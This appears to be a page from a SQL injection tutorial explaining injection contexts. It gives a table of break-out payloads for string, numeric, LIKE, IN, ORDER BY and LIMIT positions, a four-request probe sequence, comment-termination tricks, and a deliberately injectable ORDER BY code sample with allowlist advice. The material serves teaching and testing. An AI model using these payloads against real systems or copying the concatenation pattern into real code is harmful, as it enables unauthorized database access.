Injection Contexts
Where your input lands in the query determines which payloads can possibly work. Get the context wrong and every payload fails for the wrong reason.
Context Decides Everything
The single most common reason a real vulnerability is missed is testing the wrong context. ' OR 1=1-- - against a numeric parameter produces a type error, not a bypass — and the tester concludes the parameter is safe.
Before choosing a payload, work out what surrounds your input:
- Is it inside quotes? Which kind?
- Is it inside parentheses?
- Is it a value, or an identifier?
- Is it inside a
LIKEpattern, aLIMIT, anIN()list?
Each answer changes the prefix you need to break out and the suffix you need to keep the rest of the query valid.
Context Reference
| Context | Query shape | Break out with | Notes |
|---|---|---|---|
| Single-quoted string | WHERE name = '[in]' | ' OR 1=1-- - | The classic. Most common by far. |
| Numeric | WHERE id = [in] | 1 OR 1=1-- - | No quote needed. Quotes will *break* it. |
| Double-quoted string | WHERE name = "[in]" | " OR 1=1-- - | MySQL in ANSI_QUOTES mode treats these as identifiers. |
| Parenthesised string | WHERE (name = '[in]') | ') OR 1=1-- - | Close the paren or the query stays unbalanced. |
| LIKE pattern | WHERE name LIKE '%[in]%' | %' OR 1=1-- - | You also inherit % and _ as wildcards. |
| IN list | WHERE id IN ([in]) | 1) OR 1=1-- - | Numeric, plus a paren to close. |
| ORDER BY | ORDER BY [in] | (CASE WHEN … THEN 1 ELSE 2 END) | Identifier position — no quotes, no UNION. |
| LIMIT | LIMIT [in] | 1 PROCEDURE ANALYSE(…) | MySQL only, and removed in 8.0. Usually a dead end. |
| Table/column name | SELECT [in] FROM t | no quotes at all | Identifier. Parameterisation is impossible here. |
Determining the Context Empirically
You rarely see the source. Infer the context from how the application reacts:
- Send a single quote. An error or a changed response suggests a quoted string context.
- Send two single quotes. If one quote errored and two do not, you are inside a single-quoted string and the second quote re-balanced it.
- Send arithmetic. For a parameter with value
5, try4+1and6-1. If the result matches what5returned, the input is being evaluated — a numeric context. - Send a paren. If
')fixes what'broke, there is a parenthesis to close.
That sequence identifies the context in four requests without needing a single working exploit.
The probe sequence
id=1' -> 500 error (quote breaks something)
id=1'' -> 200, same as id=1 (two quotes re-balance -> string context)
id=1'-- - -> 200, same as id=1 (comment absorbs the tail -> confirmed)
-- vs. a numeric context:
id=1' -> 500 error
id=1'' -> 500 error (quotes never valid here)
id=2-1 -> same page as id=1 (arithmetic evaluated -> numeric)Identifier Contexts Are Special
ORDER BY, column lists, and table names are identifiers, not values. This matters twice over:
For the attacker: no quote to break out of, and UNION is not reachable. What works is that ORDER BY accepts an arbitrary expression, so you get a boolean oracle by making the sort order depend on a condition — the row order flips, and that is one bit per request.
For the defender: there is no placeholder syntax for identifiers. ORDER BY ? is a syntax error in every engine. Prepared statements cannot help you, which is precisely why this context is so often the one left vulnerable in an otherwise parameterised codebase. The only correct fix is an allowlist — map user input to a fixed set of known-good column names and reject anything else.
ORDER BY: the only correct fix is an allowlist
// No placeholder exists for an identifier, so this gets concatenated
// and stays injectable no matter how well the rest of the app is parameterised.
const rows = await db.query(
`SELECT id, name FROM products ORDER BY ${req.query.sort}`
)Related
Why string-concatenated queries break: the database never sees your intent, only a finished string it must parse as code.
Confirming an injection point exists, distinguishing it from ordinary input validation errors, and fingerprinting the engine before you commit to a technique.
Appending a second SELECT to the original query so its rows are returned alongside the application's own results. The fastest extraction path when output is visible.
Extracting data one bit at a time by asking yes/no questions and reading the answer from how the page changes.
Web application firewalls match patterns; databases parse grammar. Every gap between those two is a bypass.
Terminating the Rest of the Query
Your input is rarely the last thing in the query. Something follows it — another condition, a
GROUP BY, a closing paren. You have two options:Comment it out.
--(with trailing whitespace),#in MySQL, or/* */. Note that a trailing space is stripped when a payload travels through a URL, which is why-- -is the safer habit: the extra character guarantees the whitespace survives.Balance it instead. Sometimes commenting breaks a required closing paren. Supplying
' OR '1'='1leaves the application's own trailing quote to close your literal, keeping the statement syntactically whole without a comment at all.